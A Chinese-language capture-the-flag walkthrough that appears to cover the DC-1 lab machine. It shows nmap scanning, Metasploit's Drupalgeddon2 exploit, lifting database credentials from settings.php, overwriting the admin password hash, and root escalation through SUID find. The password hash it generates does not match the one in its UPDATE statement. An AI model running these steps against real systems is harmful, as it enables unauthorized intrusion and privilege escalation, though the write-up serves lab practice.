arp-scan-l 发现网络地址
使用nmap -p 1-65535 -sV 172.16.16.135发现开放端口
可以看到这里使用了80和22,现在进入网站看看是否有可用信息
通过Wappalyzer或者网页底部的Drupal知道网站的CMS是Drupal
查看网站的robots.txt协议
并没有什么信息泄露,没有可用信息
使用msf查找一下Drupal的漏洞,然后一个一个尝试看是否可以利用。
最终exploit/unix/webapp/drupal_drupalgeddon2 可用
use exploit/unix/webapp/drupal_drupalgeddon2
show options
设置攻击目标
set RHOSTS 172.16.16.135
进行攻击
Run
Getshell
shell
whoami
ls
cat flag1.txt
flag1中提示到:每一个好的CMS都需要一个配置文件,就如你一样。
Drupal的默认配置文件为:settings.php,查找一下settings.php文件所在的路径
cat /var/www/sites/default/settings.php
配置文件中得到flag2,翻译大致意思是:暴力破解不是唯一的方式,我们需要获取一个访问的权限,所以需要获得网站登录的用户名和密码。
还得到了数据库的账户名和密码:dbuser/R0ck3t
既然得到了数据库账户名和密码,可以使用python反弹一个交互式的shell,然后利用账户名密码成功连接数据库
python -c 'import pty;pty.spawn("/bin/bash")'
mysql -u dbuser -p
输入密码:R0ck3t
show databases:查看数据库,查询到数据库名为drupaldb
查询数据库drupaldb中的表,其中有一个users表,账户名和密码应该就是其中。
select * from users:查看users表中数据,发现了账户名admin,但是密码是被加密了的
但是可以修改admin的密码或者新增加一个admin权限的用户
使用Drupal对数据库的加密方法,生成一个新的密码,然后使用此密码更新admin账户的密码
加密的脚本所在路径:/var/www/scripts/password-hash.sh
使用该脚本文件加密明文密码为:123456的密码,得到加密之后的密码
$S$Du8QGGCYfad25Wu8ER.s8Ewd5fU/o9fl1AlDpHzmlfeUnE5loiDF
然后更新
update drupaldb.users set pass="$S$DOpRSoJxu8FgKXsjxGpIF5F8LFF1It3ptthx4G60T1Etq9ZKiDDS" where name="admin"
Admin的密码被修改成了123456
登录成功
找flag3
flag3的信息中提到了passwd和shadow,应该就是/etc/passwd和/etc/shadow这两个文件了,而find、perms、-exec应该是要提权才用到
cat /etc/passwd查看文件,提示flag在/home/flag4里面
查看home/flag4/flag4.txt文件,得到flag4
flag的提示:您可以使用相同的方法在根目录中查找或访问标志吗?
即要用用相同的方法在root目录下找到最终flag。
最后的flag在root目录下,但是没有读写的权限,所以要用到提权了。
提权
查找具有root权限的其他命令
find / -perm -4000
发现find本身就是root权限
利用find来提权,成功得到flag
find ./ 111 -exec '/bin/sh' \;
拿到最后一个flag